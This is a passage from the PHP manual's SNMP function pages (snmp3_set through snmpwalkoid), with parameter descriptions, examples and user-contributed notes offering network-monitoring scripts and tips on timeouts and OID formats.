The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

返回值

成功时返回 true， 或者在失败时返回 false。

If the SNMP host rejects the data type, an E_WARNING message like "Warning: Error in packet. Reason: (badValue) The value given has the wrong type or length." is shown. If an unknown or invalid OID is specified the warning probably reads "Could not add variable".

示例

Example #1 Using snmp3_set()

<?php
snmp3_set('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'IF-MIB::ifAlias.3', 's', "foo");
?>

Example #2 Using snmp3_set() for setting BITS SNMP object id

<?php
snmp3_set('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'FOO-MIB::bar.42', 'b', '0 1 2 3 4');
// or
snmp3_set('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'FOO-MIB::bar.42', 'x', 'F0');
?>

User Contributed Notes

There are no user contributed notes for this page.


Fetch all the SNMP objects from an agent

  • ? snmp3_set
  • snmpget ?
  • PHP Manual
  • SNMP 函数
  • Fetch all the SNMP objects from an agent

snmp3_walk

(PHP 4, PHP 5, PHP 7, PHP 8)

snmp3_walk — Fetch all the SNMP objects from an agent

说明

snmp3_walk(
string $hostname,
string $security_name,
string $security_level,
string $auth_protocol,
string $auth_passphrase,
string $privacy_protocol,
string $privacy_passphrase,
array|string $object_id,
int $timeout = -1,
int $retries = -1
): array|false

snmp3_walk() function is used to read all the values from an SNMP agent specified by the hostname.

Even if the security level does not use an auth or priv protocol/password valid values have to be specified.

参数

hostname

The hostname of the SNMP agent (server).

security_name

the security name, usually some kind of username

security_level

the security level (noAuthNoPriv|authNoPriv|authPriv)

auth_protocol

the authentication protocol ("MD5", "SHA", "SHA256", or "SHA512")

auth_passphrase

the authentication pass phrase

privacy_protocol

the privacy protocol (DES or AES)

privacy_passphrase

the privacy pass phrase

object_id

If null, object_id is taken as the root of the SNMP objects tree and all objects under that tree are returned as an array.

If object_id is specified, all the SNMP objects below that object_id are returned.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

返回值

Returns an array of SNMP object values starting from the object_id as root or false on error.

更新日志

版本 | 说明
8.1.0 | The auth_protocol now accepts "SHA256" and "SHA512" when supported by libnetsnmp.

示例

Example #1 snmp3_walk() Example

<?php
$ret = snmp3_walk('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'IF-MIB::ifName');
var_export($ret);
?>

Above function call would return all the SNMP objects from the SNMP agent running on localhost:

array (
  0 => 'STRING: lo',
  1 => 'STRING: eth0',
  2 => 'STRING: eth2',
  3 => 'STRING: sit0',
  4 => 'STRING: sixxs',
)

参见

  • snmp3_real_walk() - Return all objects including their respective object ID within the specified one

User Contributed Notes

There are no user contributed notes for this page.


获取 SNMP 对象

  • ? snmp3_walk
  • snmpgetnext ?
  • PHP Manual
  • SNMP 函数
  • 获取 SNMP 对象

snmpget

(PHP 4, PHP 5, PHP 7, PHP 8)

snmpget — 获取 SNMP 对象

说明

snmpget(
string $hostname,
string $community,
array|string $object_id,
int $timeout = -1,
int $retries = -1
): mixed

snmpget() 函数用于读取由 object_id 指定的 SNMP 对象的值。

参数

hostname

SNMP 代理。

community

The read community.

object_id

SNMP 对象。

timeout

第一次超时前的微秒数。

retries

发生超时时重试的次数。

返回值

成功时返回 SNMP 对象值，错误时为 false。

示例

Example #1 使用 snmpget()

<?php
$syscontact = snmpget("127.0.0.1", "public", "system.SysContact.0");
?>

参见

  • snmpset() - 设置 SNMP 对象的值

User Contributed Notes

maxie_ro at do dot not dot spam dot yahoo dot com 25-Jun-2009 06:23
This function can be used to identify devices on a network, by getting their sysObjectID and sysDescr. On short, this is what I did:
<?php
   $sysid = @snmpget($ip, 'public', '.1.3.6.1.2.1.1.2.0', 300);
   if($sysid) {
      $sysdescr = @snmpget($ip, 'public', '.1.3.6.1.2.1.1.1.0', 300);
   }
?>

What I get for equipments, for example:
<?php
   $sysid = 'OID: .iso.3.6.1.4.1.5003.8.1.1.57';// => AudioCodes MP114;
   //.iso.3.6.1.4.1. is a "prefix" for the OID domain
   //5003 is the IANA number for AudioCodes
   //8.1.1.57 identifies the equipment type (MP-114)
   $sysdescr = '"Product: MP-114 FXS;SW Version: 5.00A.024"';
?>
Unfortunately, not all of them report correct objectID, for example they report only the vendor and stop there etc.

In case you are wondering why I used the code '.1.3.6.1.2.1.1.2.0' in the function call instead of "sysObjectID.0", it's because only numeric codes seem to work on Windows. For more codes, google "cisco SNMP Object Navigator".
Have fun.
d dot shereck at gmail dot com 19-Nov-2008 03:24
For those wishing to use v2 or 3

you can consult the php_snmp.h header
here is the list of functions

PHP_FUNCTION(snmpget);
PHP_FUNCTION(snmpgetnext);
PHP_FUNCTION(snmpwalk);
PHP_FUNCTION(snmprealwalk);
PHP_FUNCTION(snmp_get_quick_print);
PHP_FUNCTION(snmp_set_quick_print);
PHP_FUNCTION(snmp_set_enum_print);
PHP_FUNCTION(snmp_set_oid_output_format);
PHP_FUNCTION(snmpset);

PHP_FUNCTION(snmp2_get);
PHP_FUNCTION(snmp2_getnext);
PHP_FUNCTION(snmp2_walk);
PHP_FUNCTION(snmp2_real_walk);
PHP_FUNCTION(snmp2_set);

PHP_FUNCTION(snmp3_get);
PHP_FUNCTION(snmp3_getnext);
PHP_FUNCTION(snmp3_walk);
PHP_FUNCTION(snmp3_real_walk);
PHP_FUNCTION(snmp3_set);

PHP_FUNCTION(snmp_set_valueretrieval);
PHP_FUNCTION(snmp_get_valueretrieval);
ac221 at sussex dot ac dot uk 24-Nov-2007 01:49
Some SNMP agents return mac addresses as hex encoded ascii.

e.g. '30:30:3a:31:37:3a:66:32:3a:39:62:3a:34:36:3a:30:65'

Each octet represents 4 bits of the mac address.
Some vendors may also encode the separators into the string.

Heres a function to convert these strings back into plain hex.

<?php
$hexStr = '30:30:3a:31:37:3a:66:32:3a:39:62:3a:34:36:3a:30:65';

echo(str_replace(':','',hexStr2Ascii($hexStr)));

function hexStr2Ascii($hexStr,$separator = ':'){
    $hexStrArr = explode($separator,$hexStr);
    $asciiOut = null;
    foreach($hexStrArr as $octet){
        $asciiOut .= chr(hexdec($octet));
    }
    return $asciiOut;
}
?>

Outputs: '0017f29b460e'
brunoseys at telenet dot be 02-Oct-2007 04:22
According the SNMPv2-MIB DEFINITIONS the right syntax should be "system.sysContact.0" and NOT "system.SysContact.0" as used in the above example 2251.

SNMPv2-MIB DEFINITIONS
...
sysContact OBJECT-TYPE
SYNTAX DisplayString (SIZE (0..255))
MAX-ACCESS read-write
STATUS current
DESCRIPTION
"The textual identification of the contact person for this
managed node, together with information on how to contact
this person. If no contact information is known, the
value
is the zero-length string."
::= { system 4 }
Malaka Udawatta (malaka13 at gmail dot com) 19-Sep-2007 05:17
When I try to get a 64 bit counter variable (e.g. ifHCInOctets) using snmpget function, following error message was appeared.

Error in packet: (noSuchName) There is no such variable name in this MIB

The solution for this is to use snmp2_get(); function. The prameters are same as snmpget();
Eduardo 12-Apr-2007 12:30
The online documentation says that the function returns "FALSE" on error but, actually, it returns NULL on error.
tridman 21-Nov-2006 02:48
The timeout is in micro seconds. Thus 1.000.000 means 1 Second.
michael dot mauch at gmx dot de 10-Nov-2006 09:07
I have no idea what the timeout value is, but 1 second is really really 1 000 000 000 nano seconds (cf. http://en.wikipedia.org/wiki/SI_prefix).
fbleau 11-Jul-2006 11:15
The default value of Timeout is 1000000  nanoseconde (1 sec) and the retrie is 5 thsi value is set by Net-SNMP library.

#!/usr/local/bin/php
<?php
 $time_start = microtime(true);
 $reponse = snmpget('10.5.1.1', 'public', "1.3.6.1.2.1.1.3.0",1000000,5);
 $time_end = microtime(true);
 $time = $time_end - $time_start;

 echo "Delay in $time secondes\n";
?>
Jim 14-May-2006 07:52
Unfortunately, It appears that you can not put multiple objects into the snmpget function, ie: sysUpTime.0 ifInOctets.1 ifOutOctets.1.  For what it's worth, the time argument is in nano-seconds as previously mentioned.  There is a lot of conflicting information out there about this.
dstjohn-NO-SPAM at mediacast1 dot com 11-Sep-2005 02:16
2 year tidbit update :)

<?php
// author: dstjohn at mediacast1.com
// updated: 09-11-2005
// set some vars
$snmpcommunity = 'PUBLIC'; //snmp community name
$ips = 'test1.com,test2.com'; //ips or dns to get snmp data from
$system_number = '1';
//end da vars

//start da loop d loop
for ($i = 0; $i <= $system_number; $i++) {
$sysip = explode(",",$ips);

//get system name
$sysname[0] = snmpget($sysip[$i], $snmpcommunity, "sysName.0");
$sysname[1] = eregi_replace("STRING:","",$sysname[0]);
echo 'System Name: '.$sysname[1].'<br>';

//system description
$sysdesc[0] = snmpget($sysip[$i], $snmpcommunity, "sysDescr.0");
$sysdesc[1] = eregi_replace("STRING:","",$sysdesc[0]);
echo 'System Description: '.$sysdesc[1].'<br>';

//system location
$sysloc[0] = snmpget($sysip[$i], $snmpcommunity, "sysLocation.0");
$sysloc[1] = eregi_replace("STRING:","",$sysloc[0]);
echo 'System Location: '.$sysloc[1].'<br>';

//current tcp connections
$tcpcons[0] = snmpget($sysip[$i], $snmpcommunity, "tcpCurrEstab.0");
$tcpcons[1] = eregi_replace("Gauge32:","",$tcpcons[0]);
echo 'Open TCP/IP Connections: '.$tcpcons[1].'<br>';

//get system uptime
$sysuptime[0] = snmpget($sysip[$i], $snmpcommunity, "system.sysUpTime.0");
$sysuptime[1] = eregi_replace("Timeticks:","",$sysuptime[0]);
echo 'System Uptime: Timeticks -'.$sysuptime[1].'<br>';

//windows only
//installed memory
if(eregi('Windows',$sysdesc[1])){
$mem[0] = snmpget($sysip[$i], $snmpcommunity, "HOST-RESOURCES-MIB::hrMemorySize.0");
$mem[1] = eregi_replace("INTEGER:","",$mem[0]);
$mem[2] = eregi_replace("KBytes","",$mem[1]);
echo 'Insalled Memory: '.$mem[2].' KiloBytes<br>';
}

echo '<br><br>';
}//end loop

?>
Johann Glaser 22-Feb-2004 12:39
It seems that for each snmpget() its own socket() will be opened. This is not closed after snmpget() finishes. Neither existing sockets are reused by subsequent snmpget() calls.

When querying a few switches with lots of ports the maximum file descriptor count of Apache is exhausted. Thus no more snmpget() are possible. Additionaly no more files can be read by this particular Apache process. Neither the PHP file, any include files nor any other files (like a .css file, ...).

This probably explains the observation of tkjode at phalnet dot com. Different to his case is that I'm using Linux.
dstjohn-NO-SPAM at mediacast1 dot com 22-Sep-2003 07:53
Little tidbit for snmpget function

<?php
//snmpget system stats
$host = 'localhost';
$community = 'public';

//get system name
$sysname = snmpget($host, $community, "system.sysName.0");

//get system uptime
$sysup = snmpget($host, $community, "system.sysUpTime.0");
$sysupre = eregi_replace("([0-9]{3})","",$sysup);
$sysupre2 = eregi_replace("Timeticks:","",$sysupre);
$sysupre3 = eregi_replace("[()]","",$sysupre2);

//get tcp connections
$tcpcon = snmpget($host, $community,"tcp.tcpCurrEstab.0");
$tcpconre = eregi_replace("Gauge32:","",$tcpcon);

echo '
System Name: '.$sysname.'<br>
System Uptime: '.$sysupre3.'<br>
Current Tcp Connections: '.$tcpconre.'<br>';

?>
javierb at gmx dot net 04-Jun-2003 08:08
pooling a cisco.

$ip = '1.1.1.1';
$community ='publico';
$a = snmpget($ip,$community, "IF-MIB::ifLastChange.1")
$b = snmpget($ip,$community, "IF-MIB::ifAlias.1");
print("a = ".$a."\n"."b = ".$b."\n");

a = Timeticks: (929969969) 107 days, 15:14:59.69
b = Timeticks: (929969969) 107 days, 15:14:59.69

when the interface has not description.
tkjode at phalnet dot com 12-Feb-2002 11:49
It has been observed on NT/2000 systems that flooding devices with SNMP requests will cause NT's SNMP service to stop working.

For example, I polled 183 switches on our network just fine.  I then attempted to simulate heavy traffic to that page by refreshing and breaking connections (as any real world system would have to go through).  SNMP stopped working throughout the entire machine, including non-PHP/Webserver processes.
grice at berbee dot com 24-Aug-2000 04:05
It looks like you can use a non-standard port for SNMP
with something like this:

$foo = snmpwalk('foo.bar.com:1161', 'foofoo', '.1.3.6');

This is on PHP 3.16; I haven't managed to get PHP 4.02 to compile successfully on Solaris 2.6 yet.
--Michael


Fetch the SNMP object which follows the given object id

  • ? snmpget
  • snmprealwalk ?
  • PHP Manual
  • SNMP 函数
  • Fetch the SNMP object which follows the given object id

snmpgetnext

(PHP 5, PHP 7, PHP 8)

snmpgetnext — Fetch the SNMP object which follows the given object id

说明

snmpgetnext(
string $hostname,
string $community,
array|string $object_id,
int $timeout = -1,
int $retries = -1
): mixed

The snmpgetnext() function is used to read the value of the SNMP object that follows the specified object_id.

参数

hostname

The hostname of the SNMP agent (server).

community

The read community.

object_id

The SNMP object id which precedes the wanted one.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

返回值

Returns SNMP object value on success or false on error. In case of an error, an E_WARNING message is shown.

示例

Example #1 Using snmpgetnext()

<?php
$nameOfSecondInterface = snmpgetnetxt('localhost', 'public', 'IF-MIB::ifName.1');
?>

参见

  • snmpget() - 获取 SNMP 对象
  • snmpwalk() - 从代理获取所有 SNMP 对象

User Contributed Notes

achalsaraiya at yahoo dot co dot in 25-Mar-2010 02:46
with snmpget api, the agent returns the value associated
with the OID (or OIDs) specified in the original request.
The snmpgetnext api is  similar, but the agent returns the
value associated with the next (valid) OID

eg:
snmpgetnext('192.168.40.134',
                   'public',
                   'SNMPv2-MIB::sysUpTime.0');

will give the output:
STRING: user@hostname


返回指定的所有对象，包括它们各自的对象 ID

  • ? snmpgetnext
  • snmpset ?
  • PHP Manual
  • SNMP 函数
  • 返回指定的所有对象，包括它们各自的对象 ID

snmprealwalk

(PHP 4, PHP 5, PHP 7, PHP 8)

snmprealwalk — 返回指定的所有对象，包括它们各自的对象 ID

说明

snmprealwalk(
string $hostname,
string $community,
array|string $object_id,
int $timeout = -1,
int $retries = -1
): array|false

snmprealwalk() 函数用于遍历从 object_id 开始的多个 SNMP 对象，不仅返回它们的值，还返回它们的对象 ID。

参数

hostname

SNMP 代理（服务器）的主机名。

community

The read community.

object_id

在所需对象之前的 SNMP 对象 ID。

timeout

第一次超时前的微秒数。

retries

发生超时时重试的次数。

返回值

成功时返回 SNMP 对象 ID 及其值的关联数组，错误时返回 false。如果出现错误，将显示一条 E_WARNING 消息。

示例

Example #1 使用 snmprealwalk()

<?php
print_r(snmprealwalk("localhost", "public", "IF-MIB::ifName"));
?>

以上将输出如下内容：

    Array
      (
      [IF-MIB::ifName.1] => STRING: lo
      [IF-MIB::ifName.2] => STRING: eth0
      [IF-MIB::ifName.3] => STRING: eth2
      [IF-MIB::ifName.4] => STRING: sit0
      [IF-MIB::ifName.5] => STRING: sixxs
    )

参见

  • snmpwalk() - 从代理获取所有 SNMP 对象

User Contributed Notes

aleksander dot sztramski at kpsi dot pl 20-Aug-2009 04:39
If you wish to use version 2c or 3, use the following functions:

snmp v2c functions:

snmp2_get (string host, string community, string object_id [, int timeout [, int retries]])
snmp2_getnext (string host, string community, string object_id [, int timeout [, int retries]])
snmp2_walk (string host, string community, string object_id [, int timeout [, int retries]])
snmp2_real_walk (string host, string community, string object_id [, int timeout [, int retries]])
snmp2_set (string host, string community, string object_id, string type, mixed value [, int timeout [, int retries]])

snmp v3 functions:

snmp3_get (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_pr)
snmp3_getnext (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string pri)
snmp3_walk (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_p)
snmp3_real_walk (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string p)
snmp3_set (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_pr)
Anonymous 21-May-2008 10:19
To check if there were any results found you have to use the empty() function.  The count() function always returns a number 1 or larger.

     $walk_result = snmprealwalk($machine_ip, $community, $snmpcodes['interface_names']);

    if (empty($walk_result)) {
        print "No network interfaces found.<br>\n";
        exit(0);
    }
scot at indievisible dot org 09-Aug-2006 12:10
Some improvements based on testing a lot of OIDs on a lot of devices.

<?php
function snmptable($host, $community, $oid) {
    // TODO: get original state and restore at bottom
    snmp_set_oid_numeric_print(TRUE);
    snmp_set_quick_print(TRUE);
    snmp_set_enum_print(TRUE);

    $retval = array();
    $raw = snmprealwalk($host, $community, $oid);
    if (count($raw) == 0) return ($retval); // no data

    $prefix_length = 0;
    $largest = 0;
    foreach ($raw as $key => $value) {
        if ($prefix_length == 0) {
            // don't just use $oid's length since it may be non-numeric
            $prefix_elements = count(explode('.',$oid));
            $tmp = '.' . strtok($key, '.');
            while ($prefix_elements > 1) {
                $tmp .= '.' . strtok('.');
                $prefix_elements--;
            }
            $tmp .= '.';
            $prefix_length = strlen($tmp);
        }
        $key = substr($key, $prefix_length);
        $index = explode('.', $key, 2);
        isset($retval[$index[1]]) or $retval[$index[1]] = array();
        if ($largest < $index[0]) $largest = $index[0];
        $retval[$index[1]][$index[0]] = $value;
    }

    if (count($retval) == 0) return ($retval); // no data

    // fill in holes and blanks the agent may "give" you
    foreach($retval as $k => $x) {
        for ($i = 1; $i <= $largest; $i++) {
        if (! isset($retval[$k][$i])) {
                $retval[$k][$i] = '';
            }
        }
        ksort($retval[$k]);
    }
    return($retval);
}
 ?>
scot at indievisible dot org 09-Aug-2006 08:16
Since PHP doesn't have a nice snmptable-like function... here is a quick-and-dirty hack that works for me. Works on complete and sparse tables. The example oids are for the route (complete) and interface (often sparse) tables.

<?php
    $a = snmptable("10.1.1.1", "public", ".1.3.6.1.2.1.4.21") or die("error");
    print_r($a);
    $a = snmptable("10.1.1.1", "public", ".1.3.6.1.2.1.2.2") or die("error");
    print_r($a);

function snmptable($host, $community, $oid) {
    // TODO: get original state and restore at bottom
    snmp_set_oid_numeric_print(TRUE);
    snmp_set_quick_print(TRUE);
    snmp_set_enum_print(TRUE);

    $retval = array();
    $raw = snmprealwalk($host, $community, $oid) or die("snmptable: unable to walk OID $oid");

    $prefix_length = 0;

    foreach ($raw as $key => $value) {
        if ($prefix_length == 0) {
            // don't just use $oid's length since it may be non-numeric
            $prefix_elements = count(explode('.',$oid));
            $tmp = '.' . strtok($key, '.');
            while ($prefix_elements > 1) {
                $tmp .= '.' . strtok('.');
                $prefix_elements--;
            }
            $tmp .= '.';
            $prefix_length = strlen($tmp);
        }
        $key = substr($key, $prefix_length);
        $index = explode('.', $key, 2);
        isset($retval[$index[1]]) or $retval[$index[1]] = array();
        isset($firstrow) or $firstrow = $index[1];
        $retval[$index[1]][$index[0]] = $value;
    }

    // check for holes in the table and fill them in
    foreach ($retval[$firstrow] as $key => $tmp) {
        foreach($retval as $check => $tmp2) {
            if (! isset($retval[$check][$key])) {
                $retval[$check][$key] = '';
            }
        }
    }

    return($retval);
}
?>
railson at amixsi dot com dot br 30-May-2006 10:52
Attention: timeout is in microseconds (multiply by 1,000,000 for seconds)
Stephen Cope 09-Sep-2004 08:38
Here's a way to find the uptime and number of users on a machine. (Note that uptime is the uptime of the snmpd daemon, which should be fairly close to the uptime for the host.)

<?php
        $state = snmprealwalk($host, "public", ".1.3.6.1.2.1.25.1", 50, 1);
        $uptime = ereg_replace("^.*\) ([0-9]+ .*):[0-9][0-9]\.[0-9]{2}.*$", "\\1", $state['host.hrSystem.hrSystemUptime.0']);
        $users  = (int)ereg_replace("Gauge32: ", "", $state['host.hrSystem.hrSystemNumUsers.0']);
        printf('<div class="machine"><dt>%s</dt><dd>%s</dd>', $host, $desc);
        printf('<dd>up %s</dd>', $uptime);
        if ( $users ) printf('<dd>%d user%s</dd>', $users, ($users > 1) ? 's' : '');
        printf('</div>');
?>
Lars Troen 24-Feb-2003 05:30
snmprealwalk indexes the values using the oid instead of an integer. This is useful when you need data that is contained in the oid as well as the value.

Here's an example for retrieving and printing vlan info:
//
// I have collected the vlan identifiers earlier from the 3com mib and they are stored in the $vlan table.
//
  for($n=0;$n<count($vlan);$n++){
    print $vlan[$n][id]."  ".$vlan[$n][name]."<br>\n";
    $ifStackStatusTable=@snmprealwalk($switch, $community, ".1.3.6.1.2.1.31.1.2.1.3.".$vlan[$n][id]); // ifMIB.ifMIBObjects.ifStackTable.ifStackEntry.ifStackStatus
    for(reset($ifStackStatusTable);  $port = key($ifStackStatusTable);  next($ifStackStatusTable)){
      print "$port=$ifStackStatusTable[$port]<br>";
      }


设置 SNMP 对象的值

  • ? snmprealwalk
  • snmpwalk ?
  • PHP Manual
  • SNMP 函数
  • 设置 SNMP 对象的值

snmpset

(PHP 4, PHP 5, PHP 7, PHP 8)

snmpset — 设置 SNMP 对象的值

说明

snmpset(
string $hostname,
string $community,
array|string $object_id,
array|string $type,
array|string $value,
int $timeout = -1,
int $retries = -1
): bool

snmpset() 用于通过 object_id 设置 SNMP 对象的值。

参数

hostname

SNMP 代理（服务器）的主机名。

community

The write community.

object_id

SNMP 对象 ID。

type

MIB 定义了各个对象 id 的类型。必须是下面列出的单个字符之一。

类型
= MIB类型
i | INTEGER
u | INTEGER
s | STRING
x | HEX STRING
d | DECIMAL STRING
n | NULLOBJ
o | OBJID
t | TIMETICKS
a | IPADDRESS
b | BITS

如果在编译 SNMP 库时定义了 OPAQUE_SPECIAL_TYPES，那么下列值是合法的：

types
U | unsigned int64
I | signed int64
F | float
D | double

这些值大都会使用与 ASN.1 相符的类型。's'，'x'，'d' 以及 'b' 都是指定一个八字节字符串值的方式。并且 'u' 无符号类型也可用于处理 Gauge32 值。

如果 MIB 文件是用 "snmp_read_mib" 或者通过在 libsnmp config 中指定而加载入 MIB 树时， '=' 可以被用作为所有对象的 type 参数，因为 type 可以被自动从 MIB 中读取。

注意有两种方式可以设定 BITS 类型的变量，例如 "SYNTAX BITS {telnet(0), ftp(1), http(2), icmp(3), snmp(4), ssh(5), https(6)}":

  • 使用 "b" 类型以及一个位数的列表。不推荐使用此方法，因为 GET 查询对同一个 OID 将会返回例如 0xF8。
  • 使用 "x" 类型以及一个十六进制数但是不需要通常的 "0x" 前缀。

更多细节见示例部分。

value

新值。

timeout

第一次超时前的微秒数。

retries

发生超时时重试的次数。

返回值

成功时返回 true， 或者在失败时返回 false。

如果 SNMP 主机拒绝该数据类型，则会出现一条 E_WARNING 消息，例如显示"Warning: Error in packet. Reason:(badValue)The value given has the wrong type or length."。如果指定了未知或无效的 OID，警告可能会显示为"Could not add variable"。

示例

Example #1 使用 snmpset()

<?php
snmpset("localhost", "public", "IF-MIB::ifAlias.3", "s", "foo");
?>

Example #2 使用 snmpset() 设置 BITS SNMP 对象 ID

<?php
snmpset("localhost", "public", 'FOO-MIB::bar.42', 'b', '0 1 2 3 4');
// or
snmpset("localhost", "public", 'FOO-MIB::bar.42', 'x', 'F0');
?>

参见

  • snmpget() - 获取 SNMP 对象

User Contributed Notes

ch at lathspell dot de 13-Jan-2010 06:22
Note that there are two ways to set a variable of the type BITS like e.g.:
  SYNTAX        BITS {telnet(0), ftp(1), http(2), icmp(3), snmp(4), ssh(5), https(6)}

1. Using type "b" and a list of bit numbers like:
  snmpset('FOO-MIB::bar.42', 'b', '0 1 2 3 4');
with the disadvantage that the success is not easily verifyable as an snmpget() for the same OID would return e.g. 0xF8.

2. Using type "x" and a hex number but without(!) the usual "0x" prefix:
  snmpset('FOO-MIB::bar.42', 'x', 'F0');
tridman 19-Apr-2007 07:19
If you have importet the MIB-Files into the MIB Tree with "snmp_read_mib" you may use '=' as the "type" parameter.
In this case the type will also be taken from the loaded mib file. (Octest strings will be interpreted like strings though)
Comes in handy for a more dynamic use of snmpset.
deivis dot jakstas at gmail dot com 28-Dec-2006 06:53
If you setting hex values correct format is:
snmpset($source_ip,$community,"$oid","x","10 10 10 10");
slawrance at technologist dot com 21-Jul-1999 12:01
The "type" parameter must be one of the following, depending on the type of variable to set on the SNMP host:

i    INTEGER
u    unsigned INTEGER
t    TIMETICKS
a    IPADDRESS
o    OBJID
s    STRING
x    HEX STRING
d    DECIMAL STRING
n    NULLOBJ
b    BITS

If OPAQUE_SPECIAL_TYPES was defined while compiling the SNMP library, the
following are also valid:

U    unsigned int64
I    signed int64
F    float
D    double

As an example, using "i" would set an integer, and "s" would set a string.  If the SNMP host rejects the data type, you might get the following message: "Warning: Error in packet. Reason: (badValue) The value given has the wrong type or length."

If you specify an unknown or invalid OID, you might get a "Could not add variable" message.  When specifying an absolute OID (one that is already resolved) that is completely numeric, prepend it with a period.  For example, an OID that could enable/disable Ethernet ports on an Asante hub might be "1.3.6.1.2.1.22.1.3.1.1.3.6.4.0", but you would need to use ".1.3.6.1.2.1.22.1.3.1.1.3.6.4.0" in the OID parameter so that the SNMP library won't try to resolve an already resolved OID.  Friendly, unresolved OIDs do not need the period prepended, such as "system.SysContact.0"


从代理获取所有 SNMP 对象

  • ? snmpset
  • snmpwalkoid ?
  • PHP Manual
  • SNMP 函数
  • 从代理获取所有 SNMP 对象

snmpwalk

(PHP 4, PHP 5, PHP 7, PHP 8)

snmpwalk — 从代理获取所有 SNMP 对象

说明

snmpwalk(
string $hostname,
string $community,
array|string $object_id,
int $timeout = -1,
int $retries = -1
): array|false

snmpwalk() 函数用于从 hostname 指定的 SNMP 代理读取所有值。

参数

hostname

SNMP 代理（服务器）。

community

The read community.

object_id

如果为 null，则将 object_id 作为 SNMP 对象树的根，并且该树下的所有对象都作为数组返回。

如果指定了 object_id，则返回该 object_id 下面的所有 SNMP 对象。

timeout

第一次超时前的微秒数。

retries

发生超时时重试的次数。

返回值

返回从 object_id 开始的 SNMP 对象值数组，如 root 或错误时为 false。

示例

Example #1 snmpwalk() 示例

<?php
$a = snmpwalk("127.0.0.1", "public", "");

foreach ($a as $val) {
echo "$val\n";
}

?>

上面的函数调用将从本地主机上运行的 SNMP 代理返回所有 SNMP 对象。 可以通过循环遍历这些值

参见

  • snmprealwalk() - 返回指定的所有对象，包括它们各自的对象 ID

User Contributed Notes

http://mike.eire.ca 23-Mar-2005 10:54
I found on Windows (PHP 5) an empty string did not return anything, it just timed out.  I had to use null instead:

<?php
$a = snmpwalk("127.0.0.1", "public", null);
?>
bobby [dot] clark [at] eku [dot] edu 17-Sep-2003 02:29
I had to use an object_id like these.
'SNMPv2-MIB::system.sysDescr.0'
'IF-MIB::interfaces.ifTable.ifEntry.ifAdminStatus'

<?php
$host = '192.168.1.1';
$community = 'public';
$object_id = 'IF-MIB::interfaces.ifTables.ifEntry.ifAdminStatus';

$sysdesc = snmpwalk($host, $community', $object_id);
print_r($sysdesc);
?>
Lars Troen 14-Mar-2003 03:18
Note that there's different behaviuor in php snmpwalk and ucd snmpwalk. If you try to walk an oid that has one value not under a subkey of the walked oid, ucd snmpwalk will return the value while php's snmpwalk will not.
anders at ei dot nu 29-Jan-2003 10:11
It would be nice to be able to specify what snmp version to use ( 1,2c,3 )

For now, I'ts hardcoded in ext/snmp/snmp.c

change session.version from 1 to 2c or 3 if you need for now..

i.e

session.version = SNMP_VERSION_1;

to:
session.version = SNMP_VERSION_2c;
steve at ourabode dot org 26-Mar-2002 03:54
Timeout is in MICRO seconds.
1,000,000 &micros = 1 s
layer2 at www dot com 29-Aug-2001 08:52
Something to care about in dealing with snmpwalk:<BR>
While walking the MIB, snmpwalk puts info that gets into an array, and that is correct.<BR>
The trouble happened when snmpwalk needs to collect information from instances that contains subinstances (i.e. walking .1.2.3.4.5 and having instances like 1.1, 1.2, 1.3): in this case it gets info and passes into an array, but when walking the array, each value is preceeded by 'Counter32: '.<BR>
I've tested this in many ways and it always happened the same way.
john at antefacto dot com 17-Aug-2001 08:21
Ah. That's why all of our SNMP stuff was timing out anytime there was any load on the system. Sigh. A waste of two weeks trying to debug snmp....

 Even the snmpcmd manpage doesn't give a
unit for timeout.
billf at freebsd dot org 01-Aug-2001 02:22
for the poster wondering what the
timeout field was measured in:

from the ucd-snmp header file snmp_api.h:

    long    timeout;
    /* Number of uS until first timeout
    then exponential backoff */
jmartinson(AT_nospam)info234.com 20-Jun-2001 07:41
A quick router device view:

<?
include "header.html";

$host = "auscr1";
$community = "tellme";

$sysDescr = snmpget("$host","$community","system.sysDescr.0");
$ifDescr = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifDescr");
$ifIndex = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifIndex");
$ifAdminStatus = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifAdminStatus");
$ifOperStatus = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifOperStatus");
$ifLastChange = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifLastChange");

print "<table border=1 bgcolor=#ffffff><tr><td>$host</td></tr></table><br>";
print "<table border=1 bgcolor=#ffffff><tr><td>$sysDescr</td></tr></table><br>";
print "<table border=1 bgcolor=#ffffff>";
print "<tr>
        <td>ifIndex</td>
        <td>ifDescr</td>
        <td>ifAdminStatus</td>
        <td>ifOperStatus</td>
        <td>ifLastChange</td>
        </tr>";

for ($i=0; $i<count($ifIndex); $i++) {
        print "<tr>";
        print "<td>$ifIndex[$i]</td>";
        print "<td>$ifDescr[$i]</td>";
        print "<td>$ifAdminStatus[$i]</td>";
        print "<td>$ifOperStatus[$i]</td>";
        print "<td>$ifLastChange[$i]</td>";
        print "</tr>";
}
print "</table>";

?>


查询有关网络实体的信息树

  • ? snmpwalk
  • SNMP ?
  • PHP Manual
  • SNMP 函数
  • 查询有关网络实体的信息树

snmpwalkoid

(PHP 4, PHP 5, PHP 7, PHP 8)

snmpwalkoid — 查询有关网络实体的信息树

说明

snmpwalkoid(
string $hostname,
string $community,
array|string $object_id,
int $timeout = -1,
int $retries = -1
): array|false

snmpwalkoid() 函数用于从 hostname 指定的 SNMP 代理读取所有对象 ID 及其各自的值。

snmpwalkoid() 和 snmpwalk() 的存在是有历史原因的。提供这两个函数是为了向后兼容。请改用 snmprealwalk()。

参数

hostname

SNMP 代理。

community

The read community.

object_id

